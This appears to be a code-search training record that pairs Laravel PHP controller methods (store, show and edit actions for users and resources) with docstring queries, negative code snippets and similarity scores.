"public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
]
| [
"0.72865677",
"0.7145327",
"0.71325725",
"0.6640912",
"0.66209733",
"0.65685713",
"0.652643",
"0.65095705",
"0.64490104",
"0.637569",
"0.63736665",
"0.63657933",
"0.63657933",
"0.63657933",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437"
]
| 0.0 | -1 |
Display the specified resource. | public function show(User $user)
{
return view('admin.users.show', ['entity' => $user, 'table' => 'users']);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Resource $resource)\n {\n // not available for now\n }",
"public function show(Resource $resource)\n {\n //\n }",
"function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }",
"private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }",
"function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}",
"public function show(ResourceSubject $resourceSubject)\n {\n //\n }",
"public function show(ResourceManagement $resourcesManagement)\n {\n //\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function retrieve(Resource $resource);",
"public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }",
"public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function show(Dispenser $dispenser)\n {\n //\n }",
"public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }",
"public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}",
"public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }",
"function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}",
"public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }",
"public function get(Resource $resource);",
"public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }",
"public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }",
"function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}",
"public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }",
"function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}",
"public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function show(rc $rc)\n {\n //\n }",
"public function show(Resolucion $resolucion)\n {\n //\n }",
"public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show(Resena $resena)\n {\n }",
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }",
"public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}",
"public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }",
"public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }",
"public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }",
"public function display()\n\t{\n\t\tparent::display();\n\t}",
"public function get_resource();",
"public function show()\n\t{\n\t\t\n\t}",
"function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }",
"public function display($title = null)\n {\n echo $this->fetch($title);\n }",
"public function display(){}",
"public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}",
"public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}",
"public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }",
"#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}",
"public function display() {\n echo $this->render();\n }",
"public function show($id)\n\t{\n\t//\n\t}",
"public function show($id)\n\t{\n\t//\n\t}",
"function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }",
"public function show($id)\n {\n //\n $this->_show($id);\n }",
"public function show()\n\t{\n\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {}",
"static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}",
"public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}",
"public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }",
"public abstract function display();",
"abstract public function resource($resource);",
"public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show(Response $response)\n {\n //\n }",
"public function show()\n {\n return auth()->user()->getResource();\n }",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}"
]
| [
"0.8233718",
"0.8190437",
"0.6828712",
"0.64986944",
"0.6495974",
"0.6469629",
"0.6462615",
"0.6363665",
"0.6311607",
"0.62817234",
"0.6218966",
"0.6189695",
"0.61804265",
"0.6171014",
"0.61371076",
"0.61207956",
"0.61067593",
"0.6105954",
"0.6094066",
"0.6082806",
"0.6045245",
"0.60389996",
"0.6016584",
"0.598783",
"0.5961788",
"0.59606946",
"0.5954321",
"0.59295714",
"0.59182066",
"0.5904556",
"0.59036547",
"0.59036547",
"0.59036547",
"0.5891874",
"0.58688277",
"0.5868107",
"0.58676815",
"0.5851883",
"0.58144855",
"0.58124036",
"0.58112013",
"0.5803467",
"0.58012545",
"0.5791527",
"0.57901084",
"0.5781528",
"0.5779676",
"0.5757105",
"0.5756208",
"0.57561266",
"0.57453394",
"0.57435393",
"0.57422745",
"0.5736634",
"0.5736634",
"0.5730559",
"0.57259274",
"0.5724891",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5718969",
"0.5713412",
"0.57091093",
"0.5706405",
"0.57057405",
"0.5704541",
"0.5704152",
"0.57026845",
"0.57026845",
"0.56981397",
"0.5693083",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962"
]
| 0.0 | -1 |
Show the form for editing the specified resource. | public function edit(User $user)
{
$this->authorize('admin.users.edit', [$user->id]);
$roles = Role::getChecked($user);
return view('admin.users.edit', compact('user', 'roles'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function edit()\n {\n return view('hirmvc::edit');\n }",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }",
"public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}",
"public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }",
"public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }",
"private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}",
"public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }",
"public function edit($model, $form);",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}",
"public function edit()\n { \n return view('admin.control.edit');\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function edit()\n {\n return view('common::edit');\n }",
"public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\r\n {\r\n return view('petro::edit');\r\n }",
"public function edit($id)\n {\n // show form edit user info\n }",
"public function edit()\n {\n return view('escrow::edit');\n }",
"public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }",
"public function edit()\n {\n return view('commonmodule::edit');\n }",
